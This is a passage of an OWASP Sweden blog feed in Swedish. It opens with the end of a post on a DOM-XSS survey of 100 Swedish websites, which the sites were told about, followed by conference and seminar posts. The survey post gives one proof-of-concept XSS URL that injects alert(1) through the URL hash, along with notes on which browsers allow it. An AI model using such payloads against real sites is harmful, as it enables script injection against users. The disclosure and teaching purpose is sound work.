normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;134 9:5:43.855 :[&lt;/span&gt;&lt;a href="http://www.domain.com/?#parameter=a%22"&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://www.domain.com/?#parameter=a%22&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt; ]&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Target: [ replace(",\")No global CallCount: 1 ]&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Data:&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;a"&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Om jag skrev två dubbelfnuttar så kunde hålet utnyttjas, exempelvis&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;http://www.domain.com/?#parameter=a""%2balert(1)%2b"&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Det  är inte alla webbläsare som tillåter användning av icke-enkodade  specialtecken. På nedanstående länk finns en genomgång av webbläsare och  vilka tecken som tillåts för exempelvis location-källan. Där kan man  läsa att IE är den enda webbläsaren som tillåter icke-enkodade  dubbelfnuttar för querystrings i searchdelen av en url. Om man däremot  anger querystrings i hash-delen av url:en så är det tillåtet av både IE,  Chrome och Opera. I mitt exempel angav jag parametern i hash-delen och  därför kunde hålet utnyttjas via tre stora webbläsare.&lt;/span&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/domxsswiki/wiki/LocationSources"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;http://code.google.com/p/domxsswiki/wiki/LocationSources&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;h3 dir="ltr"&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;"&gt;Sammanfattning av analys&lt;/span&gt;&lt;/h3&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;När  jag hade analyserat samtliga 100 sajter visade det sig att 41 av dessa  var sårbara för DOM-XSS. Jag anser att 41 % är en oroväckande hög siffra  för sajter som skall ligga i framkant. Resultatet visar att företagen  ännu inte har säkerhetsarbete - på en tillräckligt hög nivå - som en del  i utvecklingsarbetet.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Jag  kontaktade samtliga företag och beskrev säkerhetsproblemen. Jag fick  god respons och många åtgärdade problemen inom några dagar. Testerna  utfördes mellan den 10-17 november 2011 vilket gör att när detta  publiceras så har företagen haft mer än två månader på sig att åtgärda  eventuella brister.&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;h3 dir="ltr"&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;"&gt;Hur du skyddar dig mot DOM-XSS&lt;/span&gt;&lt;/h3&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;Läs mer om vad DOM-XXS är här &lt;/span&gt;&lt;a href="https://www.owasp.org/index.php/DOM_Based_XSS"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;https://www.owasp.org/index.php/DOM_Based_XSS&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;OWASP har ett cheat sheet som går igenom hur man skyddar sig mot DOM-XSS &lt;/span&gt;&lt;a href="https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet"&gt;&lt;span style="background-color: transparent; color: #000099; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;b&gt;Inlägget är skrivet av Patrik Corneliusson, boardmedlem OWASP Göteborg&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 dir="ltr"&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;"&gt;Om OWASP&lt;/span&gt;&lt;/h3&gt;&lt;a href="https://owasp.org/index.php/Gothenburg"&gt;&lt;span style="background-color: transparent; color: #3d9bbc; font-family: Arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;"&gt;OWASP Göteborg&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: transparent; color: #4b4b4b; font-family: Arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;  (Open Web Application Security Project) är en ideell global  organisation som fokuserar på att hjälpa mjukvaruutvecklare skriva säker  programkod. OWASP har lokalavdelningar i fler än 80 länder världen  över. Drivkraften är att fler utvecklare skall bli bättre på att skriva  säkra applikationer.&lt;/span&gt;&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3196795695530771722?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3196795695530771722/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3196795695530771722' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3196795695530771722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3196795695530771722'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2012/01/dom-xss-genomgang-av-sveriges-basta.html' title='DOM-XSS genomgång av Sveriges bästa sajter'/><author><name>Ulf Larson</name><uri>http://www.blogger.com/profile/00133821308001370662</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://4.bp.blogspot.com/-ZRQi9LQdylk/TxxNBrM75II/AAAAAAAAABs/k58q6ZoO9Q4/s220/UlfLarson.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1245399212325018570</id><published>2011-10-24T13:32:00.006+02:00</published><updated>2011-10-24T21:50:40.854+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WisecWisec'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='mhswende'/><category scheme='http://www.blogger.com/atom/ns#' term='Göteborg'/><title type='text'>Stefano och Martin till Göteborg den 3/11</title><content type='html'>Hej bloggen!&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Jag heter Mattias Jidhage (@mjidhage) och är en av tre co-leaders för OWASP Göteborg. Det är första gången jag förkunnar sanningar i detta forum men sannolikt inte den sista. Jag har dock inga planer på att bli långrandig just idag då jag har viktig information att förtälja:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Den 3:e november kör OWASP Göteborg sitt andra seminarie genom tiderna och vi ser denna gång med tillförsikt fram emot besök ifrån tvenne storheter;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Martin Holst Swende&lt;/span&gt; (@mhswende) är aktuell efter att på årets DEFCON ha presenterat hur man kan analysera webappar med OWASP Hatkit. På plats i Göteborg kommer Martin köra en variant av DEFCON-dragningen med lite mer demo-fokus än tidigare.&lt;br /&gt;&lt;br /&gt;Martin arbetar främst med säkerhetstestning av både applikationer och webappar men även forensik och källkodsanalys. På sin fritid är han projektledare för både OWASP Hatkit och OWASP Hatkit Datafiddler.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Stefano Di Paula&lt;/span&gt;  (@WisecWisec) skaparen av DOMinator - verktyget som gör det möjligt att på ett väsentligt enklare sätt än förut hitta DOM-baserad XSS.&lt;br /&gt;&lt;br /&gt;Stefano är fd frilansande säkerhetskonsult som grundade en egen firma och nu fokuserar mycket på forskning inom säkerhet. Dels genom sin roll som forskningsansvarig i egna företaget, dels genom sin liknande roll i OWASP Italien. Stefano bidrar även till innehållet i OWASP Testing guide som just nu håller på att tas fram i en fjärde version.&lt;br /&gt;Allt talar för en mycket intressant kväll och som vanligt kör vi lite lättare förtäring omedelbart före presentationerna samt tillser att alla förutsättningar finns för en trevlig diskussion efter presentationerna.&lt;br /&gt;&lt;br /&gt;Agendan i detalj finner du på samma ställe som du bokar din &lt;a href="http://owaspgbg-nov2011.eventbrite.com/"&gt;plats&lt;/a&gt; - välkommen!&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;Mötet kommer att genomföras på Engelska&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1245399212325018570?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1245399212325018570/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1245399212325018570' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1245399212325018570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1245399212325018570'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/10/stefano-och-martin-till-goteborg-den.html' title='Stefano och Martin till Göteborg den 3/11'/><author><name>Mattias Jidhage</name><uri>http://www.blogger.com/profile/10899746186835244640</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-6624994867781043747</id><published>2011-06-11T17:37:00.004+02:00</published><updated>2011-06-11T17:51:42.561+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='AppSec EU 2011'/><title type='text'>Summering AppSec EU 2011</title><content type='html'>Sitter då till slut på planet på väg hem från &lt;a href="https://www.owasp.org/index.php/AppSecEU2011"&gt;AppSecEU 2011&lt;/a&gt; och det har blivit dags att summera och känna efter hur vindarna blåste under konferensen.&lt;br /&gt;&lt;br /&gt;Jag tyckte mig se två huvuddrag som återkom under flera presentationer.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Det ena har fallit ut från att vi nu kan läsa om allt fler angrepp i mainstream media. Det är angrepp av två typer;&lt;ol type="lower-alpha"&gt;&lt;li&gt;Angrepp som drabbar stora kommersiella aktörer som förmodligen ligger alldeles för lågt i sin säkerhetsnivå, och som nu råkar ut för skador som kostar dem flera hundra miljoner kronor eller till och med miljarder. Detta har gett upphov till att de "högre lagren" i allt fler storbolag nu börjat skruva på sig. Det är en risk de tidigare inte tänkt på, men som de nu inser att den kan kosta stora belopp om den inte hanteras.&lt;/li&gt;&lt;li&gt;Riktade angrepp mot särskilt känsliga mål. De som drabbats av detta tvingas i ökande grad in i insikten att säkerhetsmedvetandet måste vara högt inom hela organisationen, med ansträngningar som riktar sig utöver traditionella skydd så som brandvägg, IDS, antivirus och även det nyare "patcha". Incidenthantering, anomalidetektering och pålitliga, fingranulära mätpunkter är ledstjärnor.&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Det andra som jag återkommande sett är ett mognadssteg i HUR vi ska uppnå en högre säkerhetsnivå. Det var ett ämne jag var inne på i en &lt;a href="http://techworld.idg.se/2.2524/1.233343/ssl-sakrar-inte-din-webbapplikation"&gt;debattartikel&lt;/a&gt; redan efter AppSecEU 2009: till stor del har vi det tekniska kunnandet, men vi saknar det övriga runtikring. Vi behöver satsa mycket mer på att sälja och marknadsföra oss mot beslutsfattare och utvecklingsorganisationer som ännu inte "sett ljuset". Vi är i stort behov av metrics och andra enkla sätt att kommunicera till företagsledningen varför IT-risker behöver hanteras. Kommunikationen måste kretsa kring affärsrisk, inte teknisk sårbarhet X. Passande nog var just det här ämnet mycket närvarande både i &lt;a href="http://owaspsweden.blogspot.com/2011/06/appsec-eu-2011-keynote-fran-brad-arkin.html"&gt;keynoten som inledde konferensen&lt;/a&gt;, och i &lt;a href="http://owaspsweden.blogspot.com/2011/06/keynote-5-six-key-application-security.html"&gt;keynoten som avslutade konferensen&lt;/a&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Sammanfattningsvis tycker jag det har varit kul och givande med ännu en AppSec EU. Nästa år kommer AppSec EU hållas i Aten, under namnet AppSec Research 2012. Tack vare initiativet från vår egen pionjär John Wilander kommer nämligen varannan AppSec EU vara en AppSec Research där den akademiska världen särskilt bjuds in. AppSec Research 2012 går av stapeln den 9-13 juli. Tills dess får vi hålla tillgodo med våra lokala OWASP-kvällar, och kanske ses vi även på &lt;a href="http://www.sec-t.org/"&gt;SEC-T&lt;/a&gt; i höst?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-6624994867781043747?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/6624994867781043747/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=6624994867781043747' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6624994867781043747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6624994867781043747'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/06/summering-appsec-eu-2011.html' title='Summering AppSec EU 2011'/><author><name>Carl-Johan Bostorp</name><uri>http://www.blogger.com/profile/17770573733500572848</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3935904256184169040</id><published>2011-06-11T17:30:00.003+02:00</published><updated>2011-06-11T17:35:08.287+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='AppSec EU 2011'/><title type='text'>Keynote 5: Six Key Application Security Program Metrics</title><content type='html'>Keynote 5 skulle ursprungligen hållas av Ivan Ristic, men han hade tappat rösten så istället flyttades Arian Evans presentation om "Six Key Application Security Program Metrics" till att bli en sista keynote. Väldigt lyckat då Arian visade sig vara duktig på att underhålla samt hade en relevant och intressant presentation som alla deltagare säkerligen hade nytta av.&lt;br /&gt;&lt;br /&gt;Grunden lades med lite statistik om att applikationer fortfarande används i många intrång och är orsak till en klar majoritet av stulna kortnummer och personuppgifter. Han gick sedan in på hotbilder och konstaterade att vi vet väl vilka som angriper vad, varför och hur. Vi har också tack vare OWASP en bra kunskapsnivå om hur man skriver säker kod och vilka sårbarheter som finns. Men...&lt;br /&gt;&lt;br /&gt;Efter 10 år med OWASP (woo!) så har vi fortfarande inte svaren på några väldigt viktiga frågor. Var är...&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Metrics-projektet? &lt;/li&gt;&lt;li&gt;Developer outreach projektet (not: det var betydligt fler utvecklare på konferensen det här året än förra) &lt;/li&gt;&lt;li&gt;C-Level blueprints för att implementera appsec?&lt;/li&gt;&lt;li&gt;Budgetargumenten?&lt;/li&gt;&lt;/ul&gt;Arian presenterade också siffror från WhiteHat på hur många nya sårbarheter per år som introduceras i applikationer och vilka sektorer som är de värsta skurkarna. Siffrorna var klart oväntade för mig; i snitt så introduceras 230 nya sårbarheter per år och applikation, där retail (400+) och finans (266) ligger i topp. Snittiden för att åtgärda sårbarheterna ligger på 60 dagar, och vi förstår ju alla vad det här betyder i form av sårbarhet och utnyttjande...&lt;br /&gt;&lt;br /&gt;Ytterligare en intressant slutsats som Arian drog från det var dock att den genomsnittliga kunskapsnivån är på väg neråt. Inte för att vi som är inne på området blir dummare eller omsprungna av ny teknik, utan för att området växer så starkt att det inte finns tillräckligt antal kompetenta personer för att fylla behovet.&lt;br /&gt;&lt;br /&gt;Mycket mer blev sagt under presentation än vad som får plats i det här redan långa blogginlägget. Så sammanfattningsvis, vilka var de sex metrics som presentationen "egentligen" skulle handla om?&lt;br /&gt;&lt;br /&gt;Data Quality Bucket&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Exposure (Discoverability)&lt;/li&gt;&lt;li&gt;Threat (Exploitability)&lt;/li&gt;&lt;li&gt;Risk (Impact severity)&lt;/li&gt;&lt;/ol&gt;Program Quality Bucket&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Pulse (Vulnerability~Input, vulnerability per input)&lt;/li&gt;&lt;li&gt;Frequency (Window of exposure)  (&amp;lt; 20 dagar sällan intrång, &amp;gt; 200 dagar får oftast intrång)&lt;/li&gt;&lt;li&gt;Cost &amp;amp; Savings (remediation cost)&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;.. ja, kanske inga silverkulor, men som Arian sa är det en startpunkt. Jag är själv fullt övertygad om att vi absolut måste skaffa fram metrics för att kunna nå fram till ledningsnivån. Finfint att fler driver den utvecklingen framåt!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3935904256184169040?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3935904256184169040/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3935904256184169040' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3935904256184169040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3935904256184169040'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/06/keynote-5-six-key-application-security.html' title='Keynote 5: Six Key Application Security Program Metrics'/><author><name>Carl-Johan Bostorp</name><uri>http://www.blogger.com/profile/17770573733500572848</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8497177630764132201</id><published>2011-06-10T12:20:00.005+02:00</published><updated>2011-06-11T17:37:13.213+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='AppSec EU 2011'/><title type='text'>Software Security: Is OK Good Enough?</title><content type='html'>Titeln på presentation till trots så handlade presentation mer om svårigheterna med att få in säkerhet i organisationer. Genom att titta på ett par tidigare problem (jordbävningar, matförgiftning från restauranger) drogs lärdomar om varför det fungerat att implementera åtgärder mot dem, när det inte gått så bra för informationssäkerhet.&lt;br /&gt;&lt;br /&gt;Tre saker behöver finnas för att det ska kunna skapas allmänt spridda åtgärder:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Delad förståelse&lt;/li&gt;&lt;li&gt; Compliance/policyskapande&lt;/li&gt;&lt;li&gt; Något som tvingar efterlevnad&lt;/li&gt;&lt;/ul&gt;En CEO idag har i allmänhet inte IT-risker på listan över de topp 10 risker. John kopplade det till att fjärran, abstrakta risker är något som är svårt att sälja in och då görs det inget åt dem. Det kan lätt förklaras av att man då inte har en delad förståelse.&lt;br /&gt;&lt;br /&gt;John trodde inte heller på att industrin själv kunde ordna sådana här risker, utan att det behöver lagstöd för att förändringen verkligen ska gå igenom. Men han gav också förslag på vad han ansåg behövde hända för att vi skulle komma framåt:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Det behövs fler "in your face"-grejer: exempelvis TJX-intrånget hamnade på Wall Street Journals förstasida, där väldigt många CEOs fick läsa om det och begrunda att ohanterade IT-risker kan stå dyrt. Den senaste tidens Sony-intrång hamnar också i den här kategorin.&lt;/li&gt;&lt;li&gt;Fler skrämmande "mainstream"-historier som utbildar. (tänk: Män som hatar kvinnor)&lt;/li&gt;&lt;li&gt;Smartare konsumenter (men det saknas säkerhetsratings som kan underlätta)&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Han ansåg också att vi inom vårt eget skrå kan göra ett par saker,&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Det absolut viktigaste är att lära oss sälja och marknadsföra bättre. Vi har inga möjligheter att tvinga fram förändring.&lt;/li&gt;&lt;li&gt;Bättre utvecklare med bättre verktyg.&lt;/li&gt;&lt;/ul&gt;Egen reflektion: mycket inom det här området handlar om politisk grundsyn - kan marknaden som vi har idag själv hantera IT-risker? Hur fungerar det då med &lt;a href="http://halkrisk.blogspot.com/2011/01/halkrisken-fortsatt-stor-pa-grund-av_17.html"&gt;externaliteter&lt;/a&gt;? Hur mycket behöver vi förändra i de ekonomiska systemen? Hur mycket behöver vi faktiskt lagstifta? Frågor som är väldigt svåra att svara på men som är otroligt viktiga för vårt samhälles framtid.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8497177630764132201?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8497177630764132201/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8497177630764132201' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8497177630764132201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8497177630764132201'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/06/software-securhttpwwwbloggercomimgblank.html' title='Software Security: Is OK Good Enough?'/><author><name>Carl-Johan Bostorp</name><uri>http://www.blogger.com/profile/17770573733500572848</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-5723594417688655425</id><published>2011-06-09T23:40:00.004+02:00</published><updated>2011-06-11T17:36:24.681+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='AppSec EU 2011'/><category scheme='http://www.blogger.com/atom/ns#' term='AppSensor'/><title type='text'>OWASP AppSensor Project</title><content type='html'>Colin Watson körde dagens sista presentation på ett projekt som intresserat mig ett tag, nämligen &lt;a href="https://www.owasp.org/index.php/OWASP_AppSensor_Project"&gt;OWASP AppSensor Project&lt;/a&gt;. Projektet är för närvarande till största delen tips på ett antal punkter där man i applikationen kan bygga in sensorer på intrång/intrångsförsök, och vilka reaktioner man kan ge på det.&lt;br /&gt;&lt;br /&gt;AppSensor har förslag på över 50 &lt;a href="https://www.owasp.org/index.php/OWASP_AppSensor_Project#tab=Detection_Points"&gt;detektionspunkter&lt;/a&gt; inuti applikationen, och förslag på över dussinet &lt;a href="https://www.owasp.org/index.php/AppSensor_ResponseActions"&gt;svar&lt;/a&gt; då ett angrepp tros ha upptäckts. Det hela ska jämföras med mer traditionella försvar så som brandvägg, IDS, WAF m.m. som inte har någon kunskap om själva applikationslogiken (hittar inte angrepp), och som har relativt få svar vid ett misstänkt intrång ("larma/inte larma" eller "blocka/inte blocka").&lt;br /&gt;&lt;br /&gt;Två centrala frågor bakom AppSensor lyder "Är applikationen under attack nu?" och "Har några okända sårbarheter blivit utnyttjade idag?". Ifall de tre svarsalternativen som ges är "Ja", "Nej" och "Jag vet inte" så syftar AppSensor till att stryka det tredje alterantivet och ge klarhet på hur ofta attacker sker. Framförallt är AppSensor aktuellt om applikationen har mycket motiverade angripare, så det anknöt väl till &lt;a href="http://owaspsweden.blogspot.com/2011/06/apt-in-nutshell.html"&gt;förmiddagens presentation om APT&lt;/a&gt;. Men även om så inte är fallet, kan det vara mycket intressant att bara implementera loggning vid indatavalidering för att få lite mätpunkter på hur många attacker som riktas mot applikationen.&lt;br /&gt;&lt;br /&gt;AppSensor utgår från fem olika steg:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Upptäckande av händelse&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Analys&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Avgörande om ett angrepp pågår&lt;/li&gt;&lt;li&gt;Val av svarsmetod&lt;/li&gt;&lt;li&gt;Exekvering av svaret&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Syftet 